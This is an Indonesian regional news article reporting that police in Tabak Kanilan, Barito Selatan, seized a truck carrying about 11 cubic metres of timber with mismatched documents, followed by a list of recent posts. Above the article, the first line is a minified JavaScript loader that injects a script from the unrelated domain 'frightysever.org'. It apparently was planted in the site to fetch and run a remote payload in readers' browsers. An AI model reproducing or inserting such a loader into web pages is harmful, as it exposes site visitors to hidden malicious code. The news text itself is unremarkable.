(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Tak Sesuai Dokumen, 411 Potong Kayu Diamankan Polsek Tabak Kanilan


BUNTOK, Lantaran tidak sesuai dengan dokumen, sebanyak 411 potong kayu atau kurang lebih 11 kubik, diamankan Polsek Tabak Kanilan, Kecamatan Gunung Bintang Awai (GBA), Kabupaten Barito Selatan.

Kapolres Barsel AKBP Wahid Kurniawan melalui Kapolsek Tabak Kanilan Iptu Rahmat Saleh Simamora mengatakan, pihaknya berhasil mengamankan satu buah truk yang berisikan kayu kurang lebih 11 kubik di jalan Ampah-Muara Teweh, tepatnya di Desa Patas I, Kecamatan Gunung Bintang Awai, pada Jum’at (30/8) sekitar pukul 09:30 WIB.

“Kayu kurang lebih 11 kubik diduga illegal, lantaran tidak sesuai dengan dukumen barang,” kata Rahmat kepada Kanalkalimantan.com, Sabtu (31/8).

Ia mengungkapkan, penangkapan tersebut saat pihaknya sedang melakukan patroli dan menemukan 1 buah truk mengangkut kayu olahan, dimana dari pengakuan sopir Amat (24), kayu setengah jadi itu dibawa dari Kandui, Kecamatan Gunung Timang, Kabupaten Barito Utara dan akan dibawa menuju ke Amuntai, Kabupaten HSU, Provinsi Kalsel.

Ketika diminta menunjukkan dokumen, dokumen yang diberikan oleh Amat ternyata tidak sesuai dengan isi muatan tersebut. Selain itu dari penerbit dokumen menyatakan tidak ada menerbitkan atau mengeluarkan untuk dokumen tersebut.

“Oleh karena itu kita langsung mengamankan Amat dan barang bukti ke Polsek Tabak Kanilan untuk dilakukan pemeriksaan lebih lanjut,” jelas Rahmat.

Pelaku dikenakan pasal tindak pidana di bidang kehutanan sebagai mana dimaksud dalam pasal 83 ayat 1 huruf b UU no 18 thn 2013 tentang pencegahan dan pemberantasan perusakan hutan. Berikut barang bukti yang disita polisi :

Satu truk Mitsubishi bernopol DA 1479 AI

Kayu berbagai jenis sebanyak 11 M³ dengan ukuran :

400 x 20 x 5 = 58 batang

400 x 20 x 10 = 57 batang

400 x 20 x 2   = 171 batang

400 x 5 x 10 = 125 batang. (digdo)

Reporter : digdo
Editor : bie

 


Desy Arfianty

Recent Posts

Serah Terima Aset Pemkab Kapuas – Kejari, Bupati Wiyatno: Lahan akan Dijadikan Taman

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas dan Kejaksaan Negeri (Kejari) Kapuas melakukan serah… Read More

45 menit ago

Memperkuat Iman Peringati Isra Mikraj Warga Binaan Rutan Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga binaan Rumah Tahanan Negara (Rutan) Kelas II B Kapuas berkumpul… Read More

49 menit ago

Bupati Kapuas Serahkan Bantuan Korban Kebakaran di Desa Pantai Kapuas Barat

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas bergerak cepat merespons kebakaran permukiman di Desa Pantai… Read More

52 menit ago

Pemkab Kapuas Bahas Kesiapan Daerah Dukung Program 3 Juta Rumah

KANALKALIMANTAN.COM, KUALA. KAPUAS - Pemerintah Kabupaten Kapuas mulai menyiapkan dukungan terhadap Program 3 Juta Rumah… Read More

55 menit ago

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

23 jam ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

2 hari ago

This website uses cookies.